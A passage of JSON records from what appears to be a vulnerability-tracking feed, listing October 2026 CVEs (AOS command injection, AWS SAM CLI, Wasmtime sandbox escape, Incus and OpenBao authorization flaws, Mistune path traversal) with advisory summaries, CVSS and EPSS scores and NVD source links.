2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79879&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79879, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79878","cveId":"CVE-2026-79878","aliases":[],"kind":"vulnerability","title":"A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker...","summary":"A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted PAPI packets destined to the PAPI UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","detail":"A command injection vulnerability in the AOS-8 command line interface accessed by the PAPI protocol could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted PAPI packets destined to the PAPI UDP port 8211. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.273Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79878","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00822,"percentile":0.57029,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79878&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79878","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79878","type":"primary","publishedAt":"2026-10-22T19:18:00.273Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79878&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79878, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-79877","cveId":"CVE-2026-79877","aliases":[],"kind":"vulnerability","title":"A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device.","summary":"A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system leading to complete system compromise.","detail":"A remote code execution vulnerability in the underlying operating system of AOS-10 could allow an unauthenticated adjacent attacker to execute arbitrary code on an affected device. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system leading to complete system compromise.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:18:00.163Z","updatedAt":"2026-10-26T14:18:54.933Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-79877","asOf":"2026-10-26T14:18:54.933Z"},"epss":{"probability":0.00373,"percentile":0.30998,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-79877&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-79877","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-79877","type":"primary","publishedAt":"2026-10-22T19:18:00.163Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-79877&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-79877, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115414","cveId":"CVE-2026-115414","aliases":[],"kind":"vulnerability","title":"OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to...","summary":"OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to execute arbitrary commands as the build user on the host running the build via a crafted Terraform resource address.\n\n\n\nTo remediate this issue, users should upgrade to version 1.166.2 or later.","detail":"OS command injection in the Terraform hook in AWS SAM CLI before 1.166.2 might allow an actor who can influence the Terraform configuration or plan file consumed by a build to execute arbitrary commands as the build user on the host running the build via a crafted Terraform resource address.\n\n\n\nTo remediate this issue, users should upgrade to version 1.166.2 or later.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:47.843Z","updatedAt":"2026-10-23T17:17:17.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.4,"version":"4.0","vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115414","asOf":"2026-10-23T17:17:17.303Z"},"epss":{"probability":0.00876,"percentile":0.58717,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115414&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115414","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115414","type":"primary","publishedAt":"2026-10-22T19:17:47.843Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115414&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115414, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115392","cveId":"CVE-2026-115392","aliases":[],"kind":"vulnerability","title":"Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency...","summary":"Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency mishandles symlinks with trailing slashes on macOS and Linux kernels lacking openat2. A guest with write access to any sandboxed directory can read and write any host-accessible file, and read-only guests may read host files via preexisting symlinks.","detail":"Wasmtime before 24.0.13, 25.0.0 before 36.0.14, 37.0.0 before 46.0.3, and 47.0.0 before 47.0.4 allows a filesystem sandbox escape in wasmtime-wasi because its cap-std dependency mishandles symlinks with trailing slashes on macOS and Linux kernels lacking openat2. A guest with write access to any sandboxed directory can read and write any host-accessible file, and read-only guests may read host files via preexisting symlinks.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:46.863Z","updatedAt":"2026-10-22T19:17:46.983Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:P/VC:H/VI:H/VA:L/SC:H/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115392","asOf":"2026-10-22T19:17:46.983Z"},"epss":{"probability":0.00242,"percentile":0.15214,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115392&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115392","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115392","type":"primary","publishedAt":"2026-10-22T19:17:46.863Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115392&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115392, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115376","cveId":"CVE-2026-115376","aliases":[],"kind":"vulnerability","title":"Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type.","summary":"Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type. Attackers can send crafted POST requests to the custom volumes endpoint with a chosen source.project to copy and read other projects' volumes, snapshots, and configuration.","detail":"Incus 7.0.1 before 7.0.2 and 7.2.0 before 7.5.0 contains an authorization bypass vulnerability that allows project-restricted clients to copy volumes by omitting source.type. Attackers can send crafted POST requests to the custom volumes endpoint with a chosen source.project to copy and read other projects' volumes, snapshots, and configuration.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:44.320Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115376","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00273,"percentile":0.19525,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115376&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115376","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115376","type":"primary","publishedAt":"2026-10-22T19:17:44.320Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115376&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115376, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115374","cveId":"CVE-2026-115374","aliases":[],"kind":"vulnerability","title":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-*...","summary":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-* headers. Attackers can add an unsigned X-Amz-Copy-Source header to a presigned upload URL to copy other bucket objects onto the granted key, disclosing their contents and ETags.","detail":"Incus 7.0.0 before 7.0.2 and 7.1.0 before 7.5.0 contains a signature verification flaw in its built-in S3 server that allows presigned URL holders to inject unsigned x-amz-* headers. Attackers can add an unsigned X-Amz-Copy-Source header to a presigned upload URL to copy other bucket objects onto the granted key, disclosing their contents and ETags.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:43.953Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115374","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00183,"percentile":0.07852,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115374&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115374","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115374","type":"primary","publishedAt":"2026-10-22T19:17:43.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115374&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115374, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115373","cveId":"CVE-2026-115373","aliases":[],"kind":"vulnerability","title":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients...","summary":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients read operations in other projects. Attackers holding a restricted certificate and a known operation UUID can retrieve command lines, environment secrets, websocket secrets, and trust enrolment tokens.","detail":"Incus before 6.0.7, 6.1.0 before 7.0.2, and 7.1.0 before 7.5.0 contains a missing authorization vulnerability in GET /1.0/operations/{uuid} that lets project-restricted clients read operations in other projects. Attackers holding a restricted certificate and a known operation UUID can retrieve command lines, environment secrets, websocket secrets, and trust enrolment tokens.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:43.813Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115373","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00207,"percentile":0.1065,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115373&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115373","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115373","type":"primary","publishedAt":"2026-10-22T19:17:43.813Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115373&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115373, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115371","cveId":"CVE-2026-115371","aliases":[],"kind":"vulnerability","title":"Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket...","summary":"Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket keys in the default project. Attackers can query the bucket keys endpoints to obtain S3 access and secret keys, then read, modify or delete objects in those buckets.","detail":"Incus 6.0.3 before 6.0.7, 6.6.0 before 7.0.2, and 7.1.0 before 7.5.0 contains an improper authorization vulnerability that allows restricted TLS clients to read storage bucket keys in the default project. Attackers can query the bucket keys endpoints to obtain S3 access and secret keys, then read, modify or delete objects in those buckets.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:43.530Z","updatedAt":"2026-10-23T17:06:36.030Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115371","asOf":"2026-10-23T17:06:36.030Z"},"epss":{"probability":0.00219,"percentile":0.12321,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115371&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115371","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115371","type":"primary","publishedAt":"2026-10-22T19:17:43.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115371&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115371, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115365","cveId":"CVE-2026-115365","aliases":[],"kind":"vulnerability","title":"OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using...","summary":"OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using specially crafted policy names. Attackers holding such tokens can gain capabilities of cached policies in other namespaces, including the root namespace, to act across namespace boundaries.","detail":"OpenBao from 2.3.0 before 2.6.3 contains an incorrect authorization vulnerability in its ACL policy cache that allows tokens to reference policies from arbitrary namespaces using specially crafted policy names. Attackers holding such tokens can gain capabilities of cached policies in other namespaces, including the root namespace, to act across namespace boundaries.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T19:17:42.953Z","updatedAt":"2026-10-23T14:20:57.920Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115365","asOf":"2026-10-23T14:20:57.920Z"},"epss":{"probability":0.00304,"percentile":0.22941,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115365&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115365","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115365","type":"primary","publishedAt":"2026-10-22T19:17:42.953Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115365&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115365, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115354","cveId":"CVE-2026-115354","aliases":[],"kind":"vulnerability","title":"Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include...","summary":"Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include paths. Attackers who submit Markdown rendered via Markdown.read() can disclose files such as /etc/passwd and inject unescaped HTML or script content into rendered output.","detail":"Mistune before 3.3.0 contains a path traversal vulnerability in the opt-in Include directive that allows attackers to read local files by supplying relative or absolute include paths. Attackers who submit Markdown rendered via Markdown.read() can disclose files such as /etc/passwd and inject unescaped HTML or script content into rendered output.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 